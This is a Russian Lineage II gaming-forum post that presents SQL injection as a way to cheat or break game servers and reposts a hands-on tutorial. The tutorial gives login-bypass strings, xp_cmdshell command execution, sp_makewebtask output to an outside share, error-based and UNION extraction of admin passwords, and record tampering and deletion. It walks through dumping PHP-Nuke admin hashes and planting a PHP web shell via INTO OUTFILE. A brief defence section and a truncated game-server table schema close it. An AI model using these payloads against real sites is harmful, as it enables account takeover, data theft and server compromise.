L2-Community.com - Bce o Lineage II  
Главная Регистрация Справка Пользователи Поиск Сообщения за день Все разделы прочитаны
 
 
Старый 20.01.2008, 05:51   #1
dw
Member of L2 Community
 
Аватар для dw
 
Регистрация: 16.01.2008
Сообщений: 105
Вы сказали Спасибо: 1
Поблагодарили: 104 раз(а) в 35 сообщениях
Стрелка SQL Injection

SQL injection - довольно действенный способ сломать любимую игру. Итак давайте рассмотрим основные известные места иньекций.

Раньше на ява сервах очень популярна была иньекция через команду /block. петиции -> почти везде пофикшено

До сих пор основная масса читеров делаю иньекции через форум/регистрацию. что при умелом обращении позволяет добиться значительных результатов.

А все ли знаю что это такое. Те кто не знает читаем :

SQL injection - один из типов web-взлома, которые используют только 80 порт, и может сработать, даже при своевременно установленных заплатах. Это нападение более направлено на web-приложения (типа ASP, JSP, PHP, CGI, и т.д), чем непосредственно на web-сервер или сервисы в ОС.

Основные правила для желающих вытворить иньекцию

Что мы должны искать

Попробуйте найти страницы, которые запрашивают у вас данные, например страница поиска, обсуждений, и т.д. Иногда html страницы используют метод POST, чтобы послать команды другой Web странице. В этом случае вы не увидите параметры в URL. Однако в этом случае вы можете искать тэг "FORM" в исходном коде HTML страниц. Вы найдете, что-то типа такого:

Код:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
Все параметры между <FORM> и </FORM> потенциально могут быть уязвимы к введению SQL кода.

Что если вы не нашли страницу, которая использует ввод?

Поищите страницы, подобно ASP, JSP, CGI, или PHP Web страницам. Попробуйте найти страницы, которые используют параметры, подобно:

hукцttp://securitylab.ru/?ID=31610
Как мне проверить что то, что я нашел, уязвимо?

Попробуйте начать с одиночной кавычки. Введите следующую строку:

hi' or 1=1--

в поле имя пользователя или пароль, или даже в URL параметре.

Пример:
Код:
Login: hi' or 1=1--
Pass: hi' or 1=1--
httуцкp/duck/index.asp?id=hi' or 1=1--
Если вы делали это со скрытым полем, только загрузите исходный HTML, сохраните его на жестком диске, измените URL и скрытое поле соответственно. Пример:

Код:
<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1-- ">

</FORM>
Если удача на вашей стороне, вы войдете в систему без имени или пароля.
Но почему ' or 1=1--?

Давайте рассмотрим другой пример, который объясняет полезность конструкции ' or 1=1-- . Кроме обхода регистрации, также можно рассмотреть дополнительную информацию, которая обычно не доступна. Рассмотрим asp страницу, которая ссылается на другую страницу со следующим URL:

htкуцtp://duck/index.asp?category=food

В URL, 'category' это имя переменной, и 'food' значение, назначенное этой переменной. Чтобы это сделать, asp страница может содержать следующий код:
Код:
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
как видно, наша переменная будет объединена с v_cat и таким образом SQL запрос должен стать:

Код:
SELECT * FROM product WHERE PCategory='food'
Этот запрос должен возвратить набор, содержащий одну или более строк, которые соответствуют условию WHERE, в этом случае 'food'. Теперь изменим URL следующим образом:
Код:
http://duck/index.asp?category=food' or 1=1--
SELECT * FROM product WHERE PCategory='food' or 1=1--
Этот запрос возвратит все строки в таблице product, независимо от того, Pcategory равен 'food' или нет. Двойная черточка "-" сообщает, что MS SQL сервер игнорирует остальную часть запроса, которая следует за одиночной кавычкой ('). Иногда можно заменить двойную черточку на диез "#".

Однако, если используется не SQL сервер, или вы не можете игнорировать остальную часть запроса, пробуйте:

Код:
' or 'a'='a
Теперь SQL запрос станет:

Код:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
Этот запрос возвратит тот же самый результат.

В зависимости от фактического SQL запроса, вероятно, придется пробовать некоторые из этих возможностей:
Код:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
Как можно удаленно выполнять команды, используя SQL injection?

Возможность вводить SQL команду обычно означает, что мы можем выполнять SQL запросы по желанию. Заданная по умолчанию инсталляция MS SQL Server выполняется с системными правами. Мы можем вызвать встроенные процедуры, типа master..xp_cmdshell, для удаленного выполнения произвольных команд:

Код:
'; exec master..xp_cmdshell 'ping 10.10.1.2' --
Попробуйте использовать двойные кавычки ("), если (') не срабатывает.

Точка с запятой закончит текущий SQL запрос и позволит вам запускать новые SQL команды. Чтобы проверить, выполнена ли команда успешно, вы можете проверить ICMP пакеты в 10.10.1.2, присутствуют ли в них какие либо пакеты с уязвимого сервера:

Код:
http://securitylab.ru/?ID=31610
Если вы не получили никакой запрос утилиты ping от сервера, и получаете сообщение об ошибке, указывающее ошибку разрешения, возможно, что администратор ограничил доступ Web пользователя к сохраненным процедурам.
Как получить результаты моего SQL запроса?

Можно использовать sp_makewebtask, чтобы записать ваш запрос в HTML:

Код:
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
Указываемый IP должен иметь папку "share" с доступом для Everyone.

Как получить данные из базы данных, используя ODBC сообщение об ошибках?

Мы можем использовать информацию из сообщения об ошибке, произведенной SQL сервером, чтобы получить любые данные. Например, рассмотрим следующую страницу:

http://duck/index.asp?id=10

Теперь мы попробуем объединить целое 10 с другой строкой в базе данных:
Код:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
Системная таблица INFORMATION_SCHEMA.TABLES содержит информацию всех таблиц на сервере.

Поле TABLE_NAME очевидно содержит имя каждой таблицы в базе данных. Она была выбрана, потому что мы знаем, что она всегда существует. Наш запрос:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Этот запрос возвратит первое имя в базе данных. Когда мы UNION это строковое значение к целому 10, MS SQL Server попытается преобразовать строку nvarchar к integer. Это вызовет ошибку, которая сообщит, что не может преобразовать nvarchar к int. Сервер выдаст следующую ошибку:

Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5
Сообщение об ошибке содержит информацию о значении, которое не может быть преобразовано в целое. В этом случае, мы получили имя первой таблицы - "table1".

Для получения следующего имени таблицы, мы можем использовать следующий запрос:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

Мы также можем искать данные, используя ключ LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Выдаст:
Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5
Соответствующая конструкция '%25login%25' будет заменена на %login% в SQL сервере. В этом случае, мы получим имя таблицы, которая соответствует критерию "admin_login".
Как узнать все имена столбцов в таблице?

Мы можем использовать таблицу INFORMATION_SCHEMA.COLUMNS, чтобы отобразить все имена столбцов в таблице:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'

Выдаст:
Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
Теперь, когда мы узнали первое имя столбца, мы можем использовать NOT IN(), чтобы получить имя следующего столбца:
Код:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')
Выдаст:
Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5
Продолжая, мы получим остальные имена столбцов, т.е. "password", "details", пока не получим следующую ошибку.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Выдаст:
Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5
Как нам получить нужные нам данные?

Теперь, когда мы идентифицировали некоторые важные таблицы, мы можем использовать ту же самую методику, что бы получить информацию из базы данных.

Давайте получим первый login_name из таблицы "admin_login":

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Выдаст:
Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
Теперь мы знаем, что есть admin пользователь с именем входа в систему "neo". Наконец, мы можем получить пароль "neo":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Выдаст:
Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5
Теперь мы сможем войти в систему как "neo" с паролем 'm4trix'.

Как получить числовое значение строки?

Есть ограничение в методе, описанном выше. Мы не сможем получить сообщение об ошибке, если мы попробуем преобразовать текст, который состоит из числа (только символы между 0...9). Сейчас мы опишем получение пароля "31173" у пользователя "trinity":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

Мы вероятно получим ошибку "Page Not Found". Причина в том, что пароль "31173" будет преобразован в число, перед UNION с целым числом ( в нашем случае 10). Так как получится правильное UNION выражение, SQL сервер не выдаст сообщение об ошибке, и таким образом мы не сможем получить числовую запись.

Чтобы решить эту проблему, мы можем добавить в конец числовую строку с некоторыми буквами, чтобы преобразование не прошло. Измененный запрос:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

Мы просто используем знак "плюс" (+) для того, чтобы добавить в конец пароль с любым текстом (ASSCII кодирование для '+' = 0x2b). Затем, мы добавим в конец '%20morpheus' в фактический пароль. Поэтому, даже если значение пароля '31173', он станет '31173 morpheus'. Вручную вызывая функцию convert(), пытаясь преобразовать ' 31173 morpheus' в целое число, SQL Сервер выдаст ODBC сообщение об ошибке:

Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5
Теперь мы сможем войти в систему как "trinity" с паролем '31173'.

Как модифицировать/вставить данные в базу данных?

После того, как мы получили имена всех столбцом в таблице, мы сможем обновить(UPDATE) или даже вставить (INSERT) новую запись в таблицу. Например, мы можем изменить пароль для "neo":

http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo--

Чтобы внести (INSERT) новую запись в базу данных:

http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

Теперь мы сможем войти в систему как "neo" с паролем 'newpas5'.

Как избежать SQL Injection?

Фильтруйте специальные символы во всех строках в:

- любых данных, вводимых пользователем
- URL параметрах
- Cookie

Для числовых значений, конвертируйте их к integer, перед передачей их к SQL запросу. Или используйте ISNUMERIC, чтобы удостовериться это целое число.

Запускайте SQL сервер как непривилегированный пользователь.

Удалите неиспользуемые сохраненные процедуры: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
Text by Maxx
Язык SQL

Для работы с базами данных используется язык SQL (Структурированный Язык
Запросов) Это язык, который дает возможность создавать реляционные базы данных
(и работать с ними), которые представляют собой наборы связанной информации,
сохраняемой в таблицах. Реляционная база данных это тело связанной информации,
сохраняемой в двухмерных таблицах. Это напоминает адресную или телефонную книгу.

| name | password | email | <-- названия столбцев
| admin | password | admin@localhost.com | <-- д
- а
| lamer | qwerty | lamer@localhost.com | <-- н
- н
| hacker | mamba | hacka@localhost.com | <-- ы
- е

Есть несколько основных команд SQL которые необходимо знать для работы с БД.
Итак вот они:

Создание таблицы
:

CREATE TABLE имя таблицы (имя поля тип, имя поля тип, ...)

Этой командой в базе данных создается новая таблица с указанным именем и
полями(колонками) указанного типа.
Эта команда врятли пригодится нам в нашем нехорошем деле так что особо
останавливаться на ней не буду.

Удаление таблицы:

DROP TABLE имя таблицы

Удаляет указанную таблицу, вне зависимости от того, пустая она или содержит
данные.

Вставка записи:

INSERT INTO имя таблицы (имя поля1, имя поля2, ...) VALUES ('значение1','значение2',...)

Добавляет в указаную таблицу поля и соответствующие им значения. Поля, которые
существуют в таблице, но не указаны в данной команде получают 'неопределенное
значение'. 'Неопределенное значение' - это, своего рода, внутренний флаг,
который указывает MySQL, что поле не имеет значения.

Примеры:

INSERT INTO users (name, password, email) VALUES ('root', 'pass', 'admin@localhost.com');
// Вставляет в таблицу "users" запись: root в поле name, pass в поле password

INSERT INTO admins (name, posts) VALUES ('admin', 2);
// Вставляет в таблицу admins запись: admin в поле name и 2 в поле posts
// Тут следует заметить что поле admin имеет текстовый формат, тогда как поле
// post имеет формат INT (числовой)
// Если бы оба поля были текстовыми то двойку также пришлось бы заключать в
// кавычки

Удаление записи:

DELETE FROM имя таблицы WHERE выражение

Удаляет из указанной таблицы все записи, которые удовлетворяют условию в
выражении после WHERE.

Примеры
:

DELETE FROM users WHERE name='root';

DELETE FROM admins WHERE post=2;

Поиск записи:

SELECT * FROM имя таблицы WHERE выражение

Ищет в указанной таблице все записи, которые удовлетворяют условиям выражения.
Знак * означает выбор всех полей записи, если нужно выбрать всего-лишь несколько
полей, они перечисляются явным образом через запятую.

Примеры:

SELECT * FROM users;
// Выведет все записи из таблицы users

SELECT name, email FROM users;
// Выведет записи колонок name и email

SELECT name FROM admins WHERE post>2;
// Выведет записи колонки name из таблицы admins для которых соответствующее значение post>2

SELECT * FROM admins WHERE name='root';

Обновление записи
:

UPDATE имя таблицы SET имя поля1='значение1', имя поля2='значение2',... WHERE выражение

В указанной таблице все записи которые удовлетворяют выражению, получают в
перечисленных полях соответствующие перечисленные значения.

Примеры:

UPDATE users SET name='bad-admin' WHERE password='qwerty';
// В таблице users у всех записей у которых стоит qwerty в колонке password, значение в колонке
// name сменится на bad-admin
PHP и mySQL

Теперь посмотрим как работа с БД реализуется в пхп.
Для начала работы с базой нам необходимо установить с ней соединение:

Код:
mysql_connect($hostname,$username,$password)
И выбрать базу с которой будем работать:

Код:
mysql_select_db($dbname)
$hostname сервер БД
$username логин к базе $password пароль к базе $dbname название базы
После этого мы можем отдавать SQL запросы с помощью mysql_query($query) где
$query наш запрос.

Например:

Вот в принципе основы которые нужно знать для работы с БД. Теперь переходим к
более интересному, а именно к способам внедрения своего кода.

Основы SQL-injection

Как вы могли заметить тестовые данные передаются в sql-запросах заключенными в
кавычки data' отсюда можно сделать интересное замечание. Что если к скрипте
данные для sql-запроса берутся из полученных от пользователя переменных и не
фильтруются Тогда мы можем попробовать вставить в запрос эту самую кавычку "'"

Допустим есть скрипт выбирающий мыло пользователя из таблицы в соответствии с
его логином:

Если мы передаем в переменной $login нормальный текст например "lamer" то в SQL
будет выполнен запрос:

SELECT mail FROM users WHERE login='lamer'

И все сработает как надо

А теперь попробуем вставить кавычку: $login=hacker'
И запрос будет такой:

SELECT mail FROM users WHERE login='hacker''

И как мы сможем увидеть данный запрос выдаст нам ошибку. Отлично =) Лишняя
кавычка сделала свое дело и мы смогли видоизменить запрос к базе данных.
Наипростейший пример. Допустим приведенный выше скрипт позволяет смотреть
пользователю его регистрационные данные. Теперь используя кавычку мы сможем
посмотреть инфу всех пользователей, вот примерно так:

$login=blah' OR login='admin

И sql-запрос изменится на такой:

SELECT mail FROM users WHERE login='blah' OR login='admin'

Т.е. вместо вывода мыла юзера, скрипт выдаст нам мыло админа данного скрипта.
Далее мы можем получить мыла всех пользователей:

$login=no_user' OR '1'='1

SQL запрос такой станет:

SELECT mail FROM users WHERE login='no_user' OR 1'='1'

Т.к. '1'='1' всегда то запрос вернет все записи из таблицы.

Использование кавычки применимо в случае передачи в запрос текстовых данных, с
числовыми данными все еще проще. Допустим скрипт выводит пароль пользователя в
соответствии с его порядковым номером:


При передаче нормального номера скрипт отдает запрос к БД и запрос возвращает
необходимые данные:

SELECT password FROM users WHERE num=7;

Тут мы можем изменить запрос даже не прибегая в кавычкам:

$num=1 OR 2

и запрос станет:

SELECT password FROM users WHERE num=1 OR 2;

Это основа данного типа атак. Также кроме кавычки есть еще символы которые
смогут нам пригодится.

Точка с запятой ";" служит для разделения sql-запросов к базе данных. К
сожалению не поддерживается в mysql =( так что далее в статье рассматриваться не
будет. В случае если мы имеем дело с MS SQL в которой данная возможность
поддерживается то с её помощью мы получаем возможность отдавать несколько
запросов в одной строке, например:

Рассмотренный выше скрипт:

Если работает с MS SQL то изменяем переменную вот таким образом:

$login=no_user'; delete FROM users WHERE login='admin

Запрос:

SELECT mail FROM users WHERE login='no_user'; delete FROM users WHERE login='admin';

Соответственно мы удалим запись у которой в поле login стоит значение "admin" =)

Также нам пригодятся "-" и "/*" это символы обозначающие в sql начало
комментария. Пригодится чтоб отсекать лишние данные в запросах.
Например:

$result = mysql_query(\"SELECT mail FROM users WHERE login='$login' AND post='123'\");

Если мы передадим переменную $login=no_user' OR '1'='1 то запрос станет:

SELECT mail FROM users WHERE login='no_user' OR '1'='1' AND post='123';

Согласитесь не совсем то что нам надо =\
В этом случае нам и пригодится комментирование

$login=no_user' OR '1'='1';--
или
$login=no_user' OR '1'='1'/*

Заметьте что в данном случае мы сами закрываем кавычку в конце запроса т.к.
кавычка из запроса которая ранее закрывала переменную теперь будет
закоментирована.
Ну чтож мы теперь умеем выводить информацию из таблицы. Но вы заметили что мы
ограничены этой таблицей? Т.е. Мы не можем вывести данные из другой таблицы. Для
получения данных из других таблиц нам потребуется более детальное изучение
структуры запросов и еще одна команда.
Использование команды UNION

Итак команда UNION используется для обьединения вывода двух или более запросов SELECT.
Особенности команды которые придется учитывать:
Когда два (или более) запроса подвергаются объединению, их столбцы вывода должны
быть совместимы для объединения. Это означает, что каждый запрос должен
указывать одинаковое количество столбцов и в том же порядке и каждый должен
иметь тип, совместимый с каждым.
Также данная возможность появилать только в mysql версии 4.0 т.е. на более
ранних версиях БД работать не будет.

Вид команды таков:

Код:
SELECT a1, a2, a3 FROM table1 UNION SELECT b1, b2, b3 FROM table2;
Где a1 и b1, a2 и b2, a3 и b3 должны быть одинакового типа.

Например:

SELECT text11, text12, int11 FROM t1 UNION SELECT text21, text22, int22 FROM t2;

Думаю наиболее удобно будет рассмотреть работу с данной командой на конкретном
примере. Помучить предлагаю PHP-Nuke версии 7.0 FINAL. Советую скачать и
поставить данный движек. Итак устанавливаем и настраиваем нюку. Запускаем mysql
с ведением логов и приступаем.

SQL injection на примере PHP-Nuke


Итак разбираться будем с модулем News

http://127.0.0.1/nuke7/modules.php?name … ew_topic=1

Вот такой запрос выводит первый топик на движке. Попробуем поставить кавычку к
значению new_topic, соответственно теперь запрос становится таким:

http://127.0.0.1/nuke7/modules.php?name … w_topic=1'

Отдаем в браузере запрос и смотрим логи mysql:

...
10 Query SELECT topictext FROM nuke_topics WHERE topicid='1''
^!!!

10 Query SELECT sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm,
score, ratings FROM nuke_stories WHERE topic='1'' ORDER BY sid DESC limit 10
^!!!
...

Вот тут наша ковычка себя и проявила =)
Видите: WHERE topicid='1''

Рассмотрим первый запрос:

SELECT topictext FROM nuke_topics WHERE topicid='1''
Выборка topictext из таблицы nuke_topics где topicid=1'
Теперь посмотрим тип topictext:

+-------------------------+
| topictext | varchar(40) |
+-------------------------+

Отлично теперь попробуем использовать команду UNION:
Отдаем в браузере запрос:

modules.php?name=News&new_topic=999' UNION SELECT pwd from nuke_authors/*

Отлично =) Вместо названия раздела мы видим хеш пароля админа. Что же произошло.
Опять смотрим логи mysql:

14 Query SELECT topictext FROM nuke_topics WHERE topicid='999' UNION SELECT pwd from nuke_authors/*'
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
вот он наш запрос

Вот оно. Мы делаем выборку из nuke_topics где topicid='999' и данный запрос
естественно ничего не возвращает т.к. такого топика у нас нет и делаем выборку
pwd из таблицы nuke_authors и данный запрос возвращает хеш пароля первого
пользователя который и подставляется в название раздела. Заметьте что если мы
укажем существующий номер топика то результата мы не получим т.к. будет
подставлено название этого топика а не хеш. Поэтому мы и используем номер 999.
Вот первая уязвимость =)

Давайте рассмотрим второй запрос: ( запрос разбит на несколько строк для удобства )

SELECT sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
FROM nuke_stories
WHERE topic='1'' <-- Вот тут мы можем вставить свой sql-код
ORDER BY sid DESC limit 10

Посмотрим какие типы данных у нас в таблице nuke_stories:

+-----------+--------------+
| sid | int(11) |
+-----------+--------------+
| catid | int(11) |
+-----------+--------------+
| aid | varchar(30) |
+-----------+--------------+
| title | varchar(80) |
+-----------+--------------+
| time | datetime |
+-----------+--------------+
| hometext | text |
+-----------+--------------+
| bodytext | text |
+-----------+--------------+
| comments | int(11) |
+-----------+--------------+
| counter | mediumint( |
+-----------+--------------+
| topic | int(3) |
+-----------+--------------+
| informant | varchar(20) |
+-----------+--------------+
| notes | text |
+-----------+--------------+
| acomm | int(1) |
+-----------+--------------+
| score | int(10) |
+-----------+--------------+
| ratings | int(10) |
+-----------+--------------+

Теперь также просмотрим таблицу nuke_authors на типы записей и составим запрос с
UNION таким образом чтобы типы из таблицы nuke_stories совпадали с типами из
nuke_authors и запрос примет вид:

modules.php?name=News&new_topic=999' UNION SELECT counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter FROM nuke_authors /*

Отдаем запрос в браузере и видим топик с содержанием хеша пароля =) Тут уже не
обязательно указывать несуществующий топик т.к. все работает и с топиком
существующим в базе.

Если посмотреть логи БД то можно увидеть что был отдан вот такой запрос к базе
данных: (запрос разбит на 4 блока для большего удобства)

SELECT sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
FROM nuke_stories
WHERE topic='1'

UNION

SELECT counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter
FROM nuke_authors

/*
' ORDER BY sid DESC limit 10

Как вы можете видеть в обоих запросах количество и типы столбцев совпадают.
Запрос специально разбит на 4 блока:
1 блок - это первый запрос select выбирающий из таблицы nuke_stories
2 блок - команда обьединения запросов union
3 блок - второй запрос select который выбирает хеш пароля и счетчик из таблицы nuke_authors
4 блок - все что идет после "/*" будет рассматриваться как комментарий

Вывод данных в файл

К слову сказать, в инете полно практически одинаковых статей про sql-injection и
все они рассказывают про атаки данного типа при использовании MS SQL в качестве
сервера базы данных. Конечно сервак от мелкомягких дает поистинне потрясающие
возможности для взлома всего сервера за счет возможностей разделения запросов в
строке и прочих фишек но это тема другой статьи а у нас на повестке mysql в
котором все не так просто, но это совсем не п***о, это хорошо т.к. с mysql
возится сложнее а значит интереснее =) А к чему я это сказал? Да просто в тех
статьях описывается взлом при авторизации и авторизация там происходит примерно
таким запросом:

SELECT * FROM users WHERE login='blabla' AND password='blabla';

Изврат! Не правда-ли? Абсолютно убогий способ работы с базой данных. Зачем
спрашивается выбирать все данные из таблицы? Бррр что-то меня вообще не туда
унесло =\ Мы лучше рассмотрим авторизацию в PHP-Nuke 6.9. в котором процесс
авторизации сделан более грамотно и красиво. Обратите внимание на версию нюки!
Дело в том что в версии 7.0 не удастся через форму внедрить код с помощью
кавычки т.к. там эта бага прикрыта. В версии 7.0 есть возможность внедрения кода
в этом модуле посредством cookie но мы пока что не будем трогать cookie т.к. на
эту тему статья будет чуть позднее а рассмотрим внедрение кода просто через
форму авторизации. Для этого и пришлось использовать более раннюю версию. Как
пример.
Запускаем http://127.0.0.1/phpnuke69/admin.php и видим окошко для ввода логина и
пароля. Ну вы наверно уже догадались что мы будем делать? Конечно вписываем в
качестве логина admin' (не забудьте про кавычку) и 123 в кач-ве пароля.
Хммм... Не пускает =) Ну чтож всякое бывает =) Наверно потому что логин и пароль
в базе другие совсем =)))
Чтож опять лезем смотреть логи mysql:

1 Query SELECT pwd, admlanguage FROM nuke_authors WHERE aid='admin''
^ - вот она наша родная кавычка =)

Стоп! Вы уже побежали вставлять UNION и SELECT? Рано. Дело в том что в данном
модуле не происходит никакого вывода полученных данных из БД. Естественно раз
нет вывода то и вывести полученный хеш нам некуда. Что же делать. К счастью в
mysql есть замечательная опция сохранения выбранных из таблицы данных в файл.
Производится данный финт ушами следующим образом:

SELECT * FROM table INTO OUTFILE 'путь_к_файлу/файл';

Попробуем сохранить хеш пароля админа в файле. Форма ввода не позволяет ввести
длинный логин поэтому придется передавать данные через строку браузера:

http://127.0.0.1/phpnuke69/admin.php?op … aid=admin' INTO OUTFILE 'pwd.txt

После запроса данной строки в БД исполняется:

9 Query SELECT pwd, admlanguage FROM nuke_authors WHERE aid='admin' INTO OUTFILE 'pwd.txt'

И хеш пароля пользователя "admin" оказывается записан в файл pwd.txt. Но вся
проблемма в том что файл создается не в корне www-сервера а в каталоге базы
данных. Для создания файла в каталоге доступном через web необходимо указывать
полный путь:

/phpnuke/admin.php?op=login&pwd=123&aid=admin' INTO OUTFILE '../../../../WWW/www1/phpnuke69/pwd.txt

И теперь уже:

http://127.0.0.1/phpnuke69/pwd.txt

Выдаст нам хеш админа.
Конечно необходимо учитывать права доступа и не факт что вы сможете записать
файл в нужное место но это сейчас не важно. Главное что мы смогли сформировать
нужный запрос и создать файл.

================================================
---/// Получение http-шелла
================================================

Конечно базы данных это хорошо, это интересно и познавательно, но хочется чего то
большего =) Их есть у меня =)
Как мы уже разобрались файлы мы создавать можем. А ведь в файл можно записать
любую инфу из базы данных, почему бы не воспользоваться этим и не создать себе
маленький такой http-шелл посредством создания php файла с незатейливым и
наверно всем знакомым содержанием:

Итак воспользовавшись одним из описанных выше методов вам удалось все-таки
получить хеш пароля админа и вы благополучно залогинились как админ движка,
расшифровав пароль, либо вставив его в кукис (тема про куки будет более подробно
рассмотрена в следующей статье) Теперь вам необходимо каким-либо образом
вставить php-код в одно из значений в базе данных а потом вывести его в файл.
Вот способ которым воспользовался я:

Логинимся под админом. В меню администрирования входим в раздел Topics. Создаем
новый топик.
В поле Topic Name пишем passthru
в поле Topic Text пишем:

Теперь вспомним уязвимость описанную выше в этой статье, а именно:

modules.php?name=News&new_topic=999' UNION SELECT pwd from nuke_authors/*
SELECT topictext FROM nuke_topics WHERE topicid='999' UNION SELECT pwd from nuke_authors/*'

Теперь нам не надо получать хеш пароля, а надо сохранить запись из столбца "topictext"

http://127.0.0.1/phpnuke/modules.php?na … w_topic=2' INTO OUTFILE 'shell.php' /*

где 2 - номер нового топика , shell.php - файл который будет создан

Не забудьте прописать путь к файлу.
После выполнения данного запроса будет создан файл shell.php содержащий нужный
нам пхп-код.

Вещи в БД C4 PTS
Код:
TABLE [user_data](
    [char_name] [nvarchar](50) COLLATE Korean_Wansung_CI_AS NOT NULL,
    [char_id] [int] IDENTITY(1,1) NOT NULL,
    [account_name] [nvarchar](50) COLLATE Korean_Wansung_CI_AS NOT NULL,
    [account_id] [int] NOT NULL,
    [pledge_id] [int] NOT NULL CONSTRAINT [DF_user_data_pledge_id]  DEFAULT ((0)),
    [builder] [tinyint] NOT NULL CONSTRAINT [DF_user_data_builder]  DEFAULT ((0)),
    [gender] [tinyint] NOT NULL,
    [race] [tinyint] NOT NULL,
    [class] [tinyint] NOT NULL,
    [world] [smallint] NOT NULL,
    [xloc] [int] NOT NULL,
    [yloc] [int] NOT NULL,
    [zloc] [int] NOT NULL,
    [IsInVehicle] [smallint] NOT NULL CONSTRAINT [DF_user_data_IsInVehicle]  DEFAULT ((0)),
    [HP] [float] NOT NULL,
    [MP] [float] NOT NULL,
    [SP] [int] NOT NULL CONSTRAINT [DF_user_data_SP]  DEFAULT ((0)),
    [Exp] [int] NOT NULL,
    [Lev] [tinyint] NOT NULL,
    [align] [int] NOT NULL,
    [PK] [int] NOT NULL CONSTRAINT [DF_user_data_PK]  DEFAULT ((0)),
    [PKpardon] [int] NOT NULL CONSTRAINT [DF_user_data_PKpardon]  DEFAULT ((0)),
    [Duel] [int] NOT NULL CONSTRAINT [DF_user_data_Dual]  DEFAULT ((0)),
    [ST_underware] [int] NOT NULL CONSTRAINT [DF_user_data_ST_underware]  DEFAULT ((0)),
    [ST_right_ear] [int] NOT NULL CONSTRAINT [DF_user_data_ST_right_ear]  DEFAULT ((0)),
    [ST_left_ear] [int] NOT NULL CONSTRAINT [DF_user_data_ST_left_ear]  DEFAULT ((0)),
    [ST_neck] [int] NOT NULL CONSTRAINT [DF_user_data_ST_neck]  DEFAULT ((0)),
    [ST_right_finger] [int] NOT NULL CONSTRAINT [DF_user_data_ST_right_finger]  DEFAULT ((0)),
    [ST_left_finger] [int] NOT NULL CONSTRAINT [DF_user_data_ST_left_finger]  DEFAULT ((0)),
    [ST_head] [int] NOT NULL CONSTRAINT [DF_user_data_ST_head]  DEFAULT ((0)),
    [ST_right_hand] [int] NOT NULL CONSTRAINT [DF_user_data_ST_right_hand]  DEFAULT ((0)),
    [ST_left_hand] [int] NOT NULL CONSTRAINT [DF_user_data_ST_left_hand]  DEFAULT ((0)),
    [ST_gloves] [int] NOT NULL CONSTRAINT [DF_user_data_ST_gloves]  DEFAULT ((0)),
